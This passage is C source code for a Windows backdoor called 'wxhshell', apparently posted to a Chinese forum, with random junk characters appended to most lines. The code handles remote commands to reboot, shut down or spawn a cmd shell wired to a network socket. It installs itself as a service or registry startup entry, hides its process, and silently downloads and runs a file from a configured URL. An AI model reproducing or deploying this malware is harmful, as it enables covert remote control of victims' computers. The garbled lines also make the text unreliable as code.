      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5Z4- Z  
    break; |QV!-LK  
  } jjJ2>3avY  
  // 安装 0!z@2[Pe66  
  case 'i': { 0Ok,oW {  
    if(Install()) Qb8KPpd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZVeaTK4_ t  
    else ZoKcJA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~&\ f|%  
    break; H+ h07\? %  
    } x8;`i$  
  // 卸载 '0$?h9"  
  case 'r': { &V>fYgui  
    if(Uninstall()) yr#5k`&\_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AmwWH7,g  
    else >NB?& |  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JbB}y'c4}=  
    break; _C\[DR0n  
    } 47r_y\U h  
  // 显示 wxhshell 所在路径 XC7%vDIt  
  case 'p': { RzhWD^bB  
    char svExeFile[MAX_PATH]; v(OBXa9  
    strcpy(svExeFile,"\n\r"); \c[IbL07  
      strcat(svExeFile,ExeFile); Mg#j3W}]  
        send(wsh,svExeFile,strlen(svExeFile),0); 2MA]jT  
    break; 9w9jpe#  
    } )otb>w5  
  // 重启 qS&%!  
  case 'b': { r_EcMIuk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fw oQ' &  
    if(Boot(REBOOT)) 3]-_q"Co4f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <o2r~E0r3  
    else { Th`skK&U  
    closesocket(wsh); j@Qg0F  
    ExitThread(0); m\/ Tj0e  
    } \D>$aLO*?  
    break; = 07Gy,=i  
    } ]nhr+;of/-  
  // 关机 7u\*_mrv  
  case 'd': { ?S?2 0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `>DP,D)w(  
    if(Boot(SHUTDOWN)) =66Nw(E.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5>J=YLq  
    else { .oEmU+  
    closesocket(wsh); -/ ]W+[  
    ExitThread(0); Gu=STb  
    } }FF W|f  
    break; xoB},Xl$D  
    } HE<1v@jW  
  // 获取shell ]CU]pK?nq  
  case 's': { QZ `tNq :/  
    CmdShell(wsh); 74<!&t  
    closesocket(wsh); PNW \*;j  
    ExitThread(0); 7^} Ll@  
    break; /S:F)MO9  
  } yBLK$@9  
  // 退出 p2PY@d}}.  
  case 'x': { cNzt%MjP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (]/9-\6(#  
    CloseIt(wsh); bbxLBD'  
    break; .I3?7  
    } z9W`FBg  
  // 离开 }0,>2TTDN  
  case 'q': { zU6a't P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lq.Te,Y%w  
    closesocket(wsh); <"o"z2  
    WSACleanup(); ~_9"3,~o5  
    exit(1); O7']  
    break; {F&-7u0  
        }  2A4FaBq"  
  } ck#"*] ,  
  } qDWsvx]  
8#R?]Uwq  
  // 提示信息 L.6WiVP)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WS& kx~oQ  
} g%[n4  
  } NGYyn`Lx  
\EbbkN:D  
  return; ^s\3/z>b4!  
} DOm[*1@^  
NV4g~+n  
// shell模块句柄 fpM #XFj  
int CmdShell(SOCKET sock) lC 97_ T  
{ -6Tk<W  
STARTUPINFO si; Ju@Q6J5  
ZeroMemory(&si,sizeof(si)); 89o)M5KQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1|,Pq9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QGiAW7b5  
PROCESS_INFORMATION ProcessInfo; HOt>}x  
char cmdline[]="cmd"; {TXOQ>gY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x}fn 'iUnm  
  return 0; E_ $z`or  
} $ &5w\P  
oN[Th  
// 自身启动模式 b|^I<7  
int StartFromService(void) :lcea6iO  
{ B~r}c4R{7  
typedef struct x )5V.q  
{ Ft%hh|$5y  
  DWORD ExitStatus; Z\X'd_1!  
  DWORD PebBaseAddress; )"@t6.  
  DWORD AffinityMask; 3bC yTZk  
  DWORD BasePriority; Y5A~E#zw  
  ULONG UniqueProcessId;  ~QG ?k  
  ULONG InheritedFromUniqueProcessId; k D~uGA  
}   PROCESS_BASIC_INFORMATION; Y{Ap80'\6  
QHf$f@bjI  
PROCNTQSIP NtQueryInformationProcess; /<)-q-W;  
n1(?|aJ#1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (VHND%7P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;##]G=%  
lXrD!1F  
  HANDLE             hProcess; g: %9jf  
  PROCESS_BASIC_INFORMATION pbi; "#^MUQ!a  
Dxx;v.$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5?u[XAE  
  if(NULL == hInst ) return 0; p(3sgY1  
4dhqLVgL{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^kj=<+ v#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GA^mgm"O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y<r}"TAf-  
Uku5wPS  
  if (!NtQueryInformationProcess) return 0; C77D{@SM  
4yV].2#rl"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .e[Tu|qo  
  if(!hProcess) return 0; eVy2|n9rH  
ft5DU/%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f|0lj   
I{.HO<$7D}  
  CloseHandle(hProcess); Uf,fX/:!  
J2Et-Cz1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y'm=etE  
if(hProcess==NULL) return 0; H~+xB1  
i1*C{Lf;%)  
HMODULE hMod; vx0UoKX  
char procName[255]; go|>o5!g  
unsigned long cbNeeded; %&] 1FhL  
p]LnE `v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )y50Mb0+  
&H;8QZ8uw  
  CloseHandle(hProcess); G\H q/4  
vP]9;mQ  
if(strstr(procName,"services")) return 1; // 以服务启动 (}H ,ng'4  
@h-T:$  
  return 0; // 注册表启动 >Gd.&flSj  
} u]vPy ria  
k'13f,o}  
// 主模块 _\AUQ{  
int StartWxhshell(LPSTR lpCmdLine) l)}t,!M6  
{ ]S /G\z  
  SOCKET wsl; tW6#e(^l6  
BOOL val=TRUE; u*R7zY  
  int port=0; K^ D82tP  
  struct sockaddr_in door; a|x8=H  
T&}Ye\%  
  if(wscfg.ws_autoins) Install(); V:^H4WvL\W  
9`X&,S~e  
port=atoi(lpCmdLine); N=fz/CD)I  
 ]6~k4  
if(port<=0) port=wscfg.ws_port; W7e4pR?w  
Y}1 P~  
  WSADATA data; X\A]"su  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9]~PC Z2j  
>q|Q-I~gs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PZ]5Hf1"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Kdt|i93  
  door.sin_family = AF_INET; o<\6Rm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LD.Ck6@  
  door.sin_port = htons(port); E`E'<"{Yd  
&+;uZ-x  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "Gh#`T0#a  
closesocket(wsl); K`+vfqX  
return 1; HYIRcY  
} 9eSRCLhgD  
*,jqE9:O  
  if(listen(wsl,2) == INVALID_SOCKET) { NG-`ag`s  
closesocket(wsl); YRa4W.&Yn  
return 1; [t}):}~F|  
} 2]Fu 1  
  Wxhshell(wsl); 6Kht:WE  
  WSACleanup(); hmzair3X  
-Op@y2+c  
return 0; ABiC9[Q0  
-- S"w@  
} iPFL"v<#J  
M7 p8^NL  
// 以NT服务方式启动 jeFN*r _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'Kd7l}e!  
{ m+$/DD^-zl  
DWORD   status = 0; RK3.-  
  DWORD   specificError = 0xfffffff; fk\5D[j^  
6aSM*S)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _h~p:=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c% yh(g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fv|%Ocm  
  serviceStatus.dwWin32ExitCode     = 0; 1}DerX6  
  serviceStatus.dwServiceSpecificExitCode = 0; :|($,3*  
  serviceStatus.dwCheckPoint       = 0; It\BbG=  
  serviceStatus.dwWaitHint       = 0; -d_ 7*>m$  
&Q+]t"OA!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rG5i-'  
  if (hServiceStatusHandle==0) return; Ys+N,:#R  
;qG1r@o  
status = GetLastError(); V<W02\Hs  
  if (status!=NO_ERROR) [J:zE&aj  
{ ahoh9iJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cUV TRWV  
    serviceStatus.dwCheckPoint       = 0; Zih5/I  
    serviceStatus.dwWaitHint       = 0; g5<ZS3tQ  
    serviceStatus.dwWin32ExitCode     = status; u;(K34!)  
    serviceStatus.dwServiceSpecificExitCode = specificError; VS%@)sI|Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0$?qoS  
    return; 6m\*]nOy4  
  } <[FS%2,0mb  
{6YxN&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hgif]?:C<  
  serviceStatus.dwCheckPoint       = 0; 5~-}}F  
  serviceStatus.dwWaitHint       = 0; YiBOi?h9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9<~,n1b>x  
} X@eg<]'m  
W9+h0A-  
// 处理NT服务事件,比如:启动、停止 &0i71!Oy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) * T\>  
{ $uTlbAuv  
switch(fdwControl) h+ TB]  
{ & ]%\.m  
case SERVICE_CONTROL_STOP: - YAO3  
  serviceStatus.dwWin32ExitCode = 0; n4XMN\:g{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?9,YVylg  
  serviceStatus.dwCheckPoint   = 0; 'iGMn_&  
  serviceStatus.dwWaitHint     = 0; W=M< c@  
  { >]C<j4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D~7%};D[  
  } ;\q<zO@x  
  return; y8}"DfU.  
case SERVICE_CONTROL_PAUSE: Hq79/ wKj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QZ:v  
  break; ;7)OSGR  
case SERVICE_CONTROL_CONTINUE: AV9:O{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P)4x   
  break; $<14JEU  
case SERVICE_CONTROL_INTERROGATE: XuA0.b%  
  break; e ^-3etx  
}; ul}4p{ m[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vN' VDvVM  
} O} (E(v  
|#!eMJ&0  
// 标准应用程序主函数 kS[Dy$AB/2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \(wn@/yP'  
{ 1.uUMW  
KgL<}=S  
// 获取操作系统版本 +i2YX7Of  
OsIsNt=GetOsVer(); }q/(D?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pEJ#ad  
TIKEg10I  
  // 从命令行安装 fWqv3nY^  
  if(strpbrk(lpCmdLine,"iI")) Install(); <b3x(/  
8x` Kl(  
  // 下载执行文件 ,d3Q+9/  
if(wscfg.ws_downexe) { \;'_|bu3.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;}$Z 80  
  WinExec(wscfg.ws_filenam,SW_HIDE); k`{RXx  
} m]Hb+Y=;h  
o8iig5bp  
if(!OsIsNt) { oPp!*$V  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qs~d_;  
HideProc(); Bi$ 0{V Z8  
StartWxhshell(lpCmdLine); HIQ]"Hl  
} Q>##hG:m  
else 5+J 64_  
  if(StartFromService()) SxnIX/]J  
  // 以服务方式启动 #IH<HL)t%e  
  StartServiceCtrlDispatcher(DispatchTable); qZ `nZi  
else YLD-SS[/>  
  // 普通方式启动 6yy|V~5  
  StartWxhshell(lpCmdLine); .ou!g&xu  
Omp i~  
return 0; TB ;3`  
}
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只看该作者 1 发表于: 2006-10-10
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